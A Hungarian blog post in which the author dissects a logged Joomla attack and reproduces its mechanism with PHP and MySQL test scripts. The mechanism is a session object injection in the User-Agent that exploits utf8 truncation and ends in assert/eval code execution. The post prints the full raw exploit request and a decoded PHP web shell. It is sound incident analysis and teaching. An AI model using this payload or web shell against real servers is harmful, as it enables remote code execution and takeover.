Kód újrahasznosítás felsőfokon
Évekkel ezelőtt tartottam egy belsős előadást egy sérülékenységről, ami annyira tekervényes, olyan valószínűtlen, hogy még a mai napig is lenyűgöz.
Az egész úgy kezdődött, hogy találtam egy feltűnően furcsa sort a webszerver logjai között. A publikus interneten lógó webszerverek logjaiban sok a furcsa sor, na de a feltűnően furcsa...
192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"
Két érdekes dolog is van itt. Az egyik az 1
elnevezésű GET paraméterben kapott adat, a másik a user agent értéke (az idézőjelek közötti rész a sor végén). Nézzük először a GET paramétert.
Távoli elérés
Egy urldecode
és némi formázás után a következő PHP kódot kapjuk (a CyberChef egyébként remek eszköz ilyenekre):
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo '->|';
file_put_contents(
$_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';
A webconfig.txt.php
fájlba próbál nekünk valamit beírni. Egy gyors base64_decode
és az is kiderül, hogy mit:
<?php eval($_POST[1]);?>
Egy egyszerű PHP-s remote shell, amit arra lehet használni, hogy a támadó bármilyen PHP kódot lefuttathasson az adott gépen. Hogy miért volt ráküldve egy base64_encode
? Amint elmentettem a fájlt, ami ezt a bejegyzést tartalmazza úgy, hogy benne volt a fentebbi kód, rögtön jelzett a vírusirtó, hogy backdoor-t talált. A base64 enkódolt változat viszont még nem zavarta.
A probléma csak az, hogy az eredeti HTTP kérés nem a webconfig.txt.php
-ra érkezett, így az 1
paraméterben kapott kódot nem is futtatta le a remote shell. Meg minek is küldenének a remote shell-nek egy olyan parancsot, hogy hozza létre saját magát? Biztos a user agent értékében lesz valami huncutság.
Kód újrahasznosítás
Egy kis formázás és dekódolás után ezt kapjuk:
}__test|O:21:"JDatabaseDriverMysqli":3:{
s:2:"fc";O:17:"JSimplepieFactory":0:{}
s:21:"\0\0\0disconnectHandlers";a:1:{
i:0;a:2:{
i:0;O:9:"SimplePie":5:{
s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
s:19:"cache_name_function";s:6:"assert";
s:5:"cache";b:1;
s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
}
i:1;s:4:"init";
}
}
s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86
Huncutságból nincs hiány, az már egyszer biztos. Rögtön egy }
karakterrel kezdünk, ami utalhat egy injection jellegű támadásra, amiben ezzel a karakterrel akarják lezárni az előző értéket.
A következő rész rutinosabb PHP fejlesztőket a serialize
-ra emlékeztetheti, de nem teljesen egyezik a formátum. A session_encode
ad vissza ilyet és a session-ben található adatok vannak ezzel az enkódolással tárolva szerver oldalon. A végén még van egy furcsa \xF0\x9D\x8C\x86
karaktersor, amit egyelőre nem tudunk hova tenni, de biztos az is rosszban sántikál.
Olyan, mintha valahogy a User-Agent
header-ön keresztül próbálnának létrehozni egy új változót a session-ben. Ez az új __test
változó a JDatabaseDriverMysqli
osztály egy példánya lesz, ami azt állítja magáról, hogy van aktív kapcsolata (a connection
értéke true
) és van egy disconnect handler-je is, a SimplePie
osztály egy példánya, aminek az init
metódusát kellene majd meghívni disconnect esetén. Ez már önmagában is elég szokatlan, de ha megnézzük a példány feed_url
-jét, az még több gyanúra ad okot:
eval($_REQUEST[1]);JFactory::getConfig();exit;
Még egy remote shell, biztos, ami biztos.
A Joomla mélyén
A J
-vel kezdődő osztály nevekből ki lehet deríteni, hogy Joomla-ról van szó. További keresgéléssel a konkrét sebezhetőséget is meg lehet találni, amiből kiderül a pontos verzió is. Így már meg tudjuk nézni, hogy mi történik a kódban. A JDatabaseDriverMysqli
releváns része:
public function __destruct()
{
$this->disconnect();
}
public function disconnect()
{
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
Az objektum megszűnése előtt lefut a disconnect
, ami meghívja az összes disconnect handler-t, esetünkben a gyanús SimplePie
példányunk init
metódusát:
function init()
{
// ...
$cache = call_user_func(
array($this->cache_class, 'create'),
$this->cache_location,
call_user_func($this->cache_name_function, $this->feed_url),
'spc'
);
// ...
}
A számunkra érdekesnek tűnő rész az, hogy a cache_name_function
meghívódik és a feed_url
-t kapja meg paraméterként. A user agent-ben lévő adatokkal ez a következő hívást jelenti:
call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');
Elég régi ez a sebezhetőség, úgyhogy a kód az assert
függvény PHP 8.0.0 előtti működésére támaszkodik, amikor még egy string-et várt első paraméternek, amit lefuttatott és kiértékelt. Ez a hívás tehát végrehajtaná a GET paraméterben kapott PHP kódot.
Sikerült megfejteni a log sort, itt az ideje összefoglalni, hogy mire is jutottunk:
- GET paraméterben kapunk egy PHP kódot, ami ha lefut, létrehoz egy remote shell-t
- a user agent-ben egy injection-nek tűnő dolog van, ami egy új változót csinál a session-ben
- az új változó egy olyan gondosan összeállított objektum struktúra, ami az objektum megszűnése esetén lefuttatja a GET paraméterben kapott PHP kódot
A Joomla egy ponton tényleg belerakja a user agent-et a session-be. Konfigurációtól függően ez a session sok helyen tárolódhat, de az alap beállítás az, hogy a MySQLi driver segítségével lementődik egy MySQL táblába. Egy fontos részlet még itt, hogy a kapcsolódás során beállít egy utf8
-as karakterkészletet az adatbázis kapcsolaton (és valószínűleg az adatbázisnak és a tábláknak is hasonlóan utf8
a karakterkészlete). De hogy lesz ebből injection?
Furcsa működések
Két gyanúsítottunk maradt, a PHP session kezelése és a session adatok tárolása MySQL-ben. Kezdjük a PHP-val. Nézzünk meg egy egyszerű példát, hogy a session mentés által is használt session_encode
hogyan is működik:
session_start();
$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';
print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";
Így, hogy már tudjuk, nagyjából hogyan néz ki az elvárt kimenet, próbáljunk meg belevinni az egészbe egy kis huncutságot:
session_start();
$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';
print(session_encode() . "\n");
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";
Ez eddig nem tűnik túl izgalmasnak, csak stringként oda lett serialize
-olva a huncutságunk, a furcsa karaktersorról pedig kiderült, hogy csak egy 4 byte-os UTF-8 karakter. De mi történik akkor, ha megpróbáljuk ezt az adatot visszaolvasni?
$data = session_encode();
$_SESSION = array();
session_decode($data);
var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
["foo"]=>
array(0) {
}
["evil"]=>
string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
["bar"]=>
string(9) "something"
}
Egyáltalán semmi rendkívüli. Elég kiábrándító. Talán annak a \xF0\x9D\x8C\x86
résznek a MySQL-hez van köze. Húzzunk fel egy szervert és nézzük meg.
docker-compose.yml
version: '3'
services:
app:
image: php:5.3.29
volumes:
- .:/app
working_dir: /app
db:
image: mysql:5.6.51
environment:
MYSQL_ROOT_PASSWORD: secret
MYSQL_DATABASE: test
A kis teszt script-ünk kapcsolódik az adatbázishoz, beállítja utf8
-ra a kapcsolat karakterkészletét, létrehoz egy táblát ugyanazzal a karakterkészlettel és belerak egy sort, aminek a közepén benne van a mi huncut kis bitkolbászunk. Végül pedig vissza is olvassuk ezt az adatot.
$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');
$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");
$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");
$data = "foo\xF0\x9D\x8C\x86bar";
$stmt->bind_param('s', $data);
$stmt->execute();
$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());
$db->query("DROP TABLE test");
$ docker-compose run --rm app php test.php
array(2) {
["id"]=>
string(1) "1"
["data"]=>
string(3) "foo"
}
Na, végre valami történik. A bitkolbász és az utána lévő rész eltűnt.
A trükk az, hogy az utf8
(teljes nevén utf8mb3
, azaz 3-Byte UTF-8 Unicode Encoding) nem támogatja a 4 byte-os UTF-8 karaktereket (arra van egy külön utf8mb4
), ha ilyennel találkozik, akkor eldobja az adat maradékát és csak az első felét tárolja le.
Nézzük meg mi történik a PHP session_decode
környékén, ha szimuláljuk ezt a viselkedést:
$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));
$_SESSION = array();
session_decode($data);
var_dump($_SESSION);
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
["foo"]=>
array(0) {
}
["evil"]=>
NULL
["46:"}__test"]=>
object(stdClass)#1 (1) {
["evil"]=>
bool(true)
}
}
Úgy tűnik a PHP elég rosszul kezeli a hiányos session adatokat. Ezzel végre sikerült reprodukálnunk azt a működést, ami végül ahhoz vezet, hogy a feltűnően furcsa HTTP kérés hatására létrejön egy remote shell a szerveren.
Szemfüles olvasók azt is kiszúrhatták, hogy elég régi PHP és MySQL van a példákban használva. Ennek csupán egyetlen oka van. Az, hogy frissebb verziók esetén ez már nem működne.
A huncut kis bitkolbászt tartalmazó sor beszúrása MySQL 5.7.42-ben:
$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
thrown in /app/test.php on line 14
A levágott végű session adat dekódolása PHP 5.4.45-ben:
$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
["foo"]=>
array(0) {
}
}
Összegzés
Hosszú volt az út idáig, nézzük át még egyszer, hogy mi is kellett ahhoz, hogy ezt a sebezhetőséget ki lehessen használni:
- elég régi PHP és MySQL (a sebezhetőség publikálásának idején az 5.4-es PHP és 5.7-es MySQL már évek óta elérhető volt)
- a session tárolása MySQL-ben egy
utf8
-as táblában ésutf8
-as adatbázis kapcsolattal - felhasználótól származó, nem megbízható adat tárolása session-ben
- olyan osztályoknak a megléte a kódban, amit ha nem rendeltetésszerűen kombinálunk össze, akkor végül sikeresen lefuttat egy string-et PHP kódként
Mi ebből a tanulság? Nem tudom... ha mindent jól csinálsz, akkor is félremehetnek a dolgok? Mindenesetre jusson eszetekbe ez a kis nyomozás, amikor legközelebb úgy gondoljátok, hogy egy lehetséges sérülékenységet (legyen az akár egy használt library-ben, kedvenc programozási nyelvetek interpreter-ében vagy az adatbázisban) úgyse lehet kihasználni a kódotokból.